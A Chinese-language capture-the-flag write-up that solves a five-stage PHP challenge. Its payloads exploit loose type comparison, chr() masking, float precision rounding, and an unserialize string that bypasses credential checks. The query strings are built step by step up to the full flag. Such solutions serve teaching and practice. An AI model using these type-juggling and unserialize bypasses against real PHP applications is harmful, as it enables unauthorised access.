考点:

  1. php弱类型比较
  2. 超精度浮点数将被转换为整数
  3. php字母转数字比较

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
error_reporting(0);
include('flag.php');

highlight_file('index.php');

$a = $_GET['key1'];

if($a==56 || $a>256){
die("Really???");
}
elseif(chr($a)==="8"){
echo "Carry on" . "<br>";
echo $flag1 . "<br>";
}
else{
die("You are not good");
}

$b = $_GET['key2'];

if(strpos($b,'8')!==false){
die("It won't be that easy");
}
for($i=0;$i<=1;$i++){
++$b;
}
if($b==10){
echo "Good luck" . "<br>";
echo $flag2 . "<br>";
}
else{
die("No Luck");
}

$m = md5($_GET['rq']);

if($_GET['fp'] == $m){
echo $flag3."<br>";
}
elseif(isset($fp)){
die("You failed");
}

$n = hash('ripemd160',$_GET['np']);

if($_GET['nq'] === $n){
echo $flag4."<br>";
}
elseif(isset($np)){
die("You failed");
}

$hell=$_GET['key3'];
if(strpos($hell, 'i')!==false || strpos($hell, 'I')!==false){
die("You...can't...");
}
$data = unserialize($hell);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
echo $flag5 . "<br>";
} else {
die("useless");
}

?>

flag是由五部分组成的,$flag1$flag2$flag3$flag4$flag5,得到这些$flag变量需要绕过一些限制条件。

第一层
1
2
3
4
5
6
7
8
9
10
11
12
$a = $_GET['key1'];

if($a==56 || $a>256){
die("Really???");
}
elseif(chr($a)==="8"){
echo "Carry on" . "<br>";
echo $flag1 . "<br>";
}
else{
die("You are not good");
}

读取$flag1变量需要满足几个条件:

  1. $a和数字56弱类型比较之后不相等,也就是说$a不能为56,也不能为56aaa等值,而且$a不能大于256
  2. chr($a) === "8",但是"8"对应的ascii码值是56

也就是说变量$a的经过chr函数计算后的值是56,但是$a本身不能是56。

我们先看一下chr函数的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* {{{ proto string chr(int ascii)
Converts ASCII code to a character
Warning: This function is special-cased by zend_compile.c and so is bypassed for constant integer argument */
PHP_FUNCTION(chr)
{
zend_long c;

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(c)
ZEND_PARSE_PARAMETERS_END();

c &= 0xff;
ZVAL_INTERNED_STR(return_value, ZSTR_CHAR(c));
}
/* }}} */

在第12行可以看到,chr函数会对传入的值先进行&操作确保传入的ascii码不会大于255,也就是相当于对传入chr函数的值进行一个模操作来确保ascii值不会超过255

因为题目中要求$a不能大于256,所以我们可以推测$a一定小于0,-200就符合题目的要求:

1
2
3
4
5
-200
100111000
011111111
---------
000111000

所以chr(-200) = chr(56) = 8

当前对应的payload为:

1
?key1=-200
第二层
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$b = $_GET['key2'];

if(strpos($b,'8')!==false){
die("It won't be that easy");
}
for($i=0;$i<=1;$i++){
++$b;
}
if($b==10){
echo "Good luck" . "<br>";
echo $flag2 . "<br>";
}
else{
die("No Luck");
}

第6行~第8行的代码会将变量$b加2,在第9行将$b10进行弱类型比较,如果相等,则输出$flag2

但是在第3行要求变量$b不能为8。这里涉及到的是数据类型精度的考察。

对于==的弱类型比较,php会先读取这个浮点数,然后进行类型转换。当给定的浮点数的精度超过了double类型的精度(小数点后15位)时,就会进行四舍五入取整操作。

这不是php的问题,这是double数据类型的数据精度问题。所以要绕过if(strpos($b,'8')!==false)比较,应该令$b=7.999999999999999999

payload:

1
?key1=-200&key2=7.999999999999999999
第三层
1
2
3
4
5
6
7
8
$m = md5($_GET['rq']);

if($_GET['fp'] == $m){
echo $flag3."<br>";
}
elseif(isset($fp)){
die("You failed");
}

这个没什么难点,接受两个get请求参数$_GET{'rq']}$_GET['fp'],只要满足md5($_GET['rq']) == $_GET{fp]}即可,随便令rq等于一个值,计算它的md5值赋给fp即可。

payload:

1
?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668
第四层
1
2
3
4
5
6
7
8
$n = hash('ripemd160',$_GET['np']);

if($_GET['nq'] === $n){
echo $flag4."<br>";
}
elseif(isset($np)){
die("You failed");
}

这和上一层一样,ropemd160是一种单向散列加密哈希函数,直接计算:

1
2
3
4
5
6
7
<?php

$np = "222";
$n = hash('ripemd160', $np);
echo $n;
// $n = 5f987b94e565af0394c6d6a64e2bdee6797728b1
?>

payload:

1
?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1
第五层
1
2
3
4
5
6
7
8
9
10
$hell=$_GET['key3'];
if(strpos($hell, 'i')!==false || strpos($hell, 'I')!==false){
die("You...can't...");
}
$data = unserialize($hell);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
echo $flag5 . "<br>";
} else {
die("useless");
}

上面的代码绕过第2个if需要使$data['username'] == $adminName$data['password'] == $adminPassword。但是我们并不知道$adminName$adminPassword是什么。但是可以注意到的是进行的弱类型比较,所以猜测$adminName$adminPassword是字母开头的。

在php中,如果是字符串和数字进行比较,php会把字符串强制转换为数字,对于字母开头的字符串,转换后就是0

我们知道php反序列化对象类型有:

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

所以我们构造一个反序列化字符串,对象类型是array:a,有两个键,usernamepassword,数据类型是整型integer:i,但是i被过滤了(代码第2行),但是可以用double来替换:

1
a:2:{s:8:"username";i:0;s:8:"password";i:0;}

最后的payload为:

1
?key1=-200&key2=7.999999999999999999&rq=111&fp=698d51a19d8a121ce581499d7b701668&np=222&nq=5f987b94e565af0394c6d6a64e2bdee6797728b1&key3=a:2:{s:8:"username";d:0;s:8:"password";d:0;}

得到结果:

1
2
3
4
5
6
7
Carry on
inctf{y
Good luck
0u_f0u
nd_17_
bu65_
c00l!!}

整合一下就是最后的flag:inctf{y0u_f0und_17_bu65_c00l!!}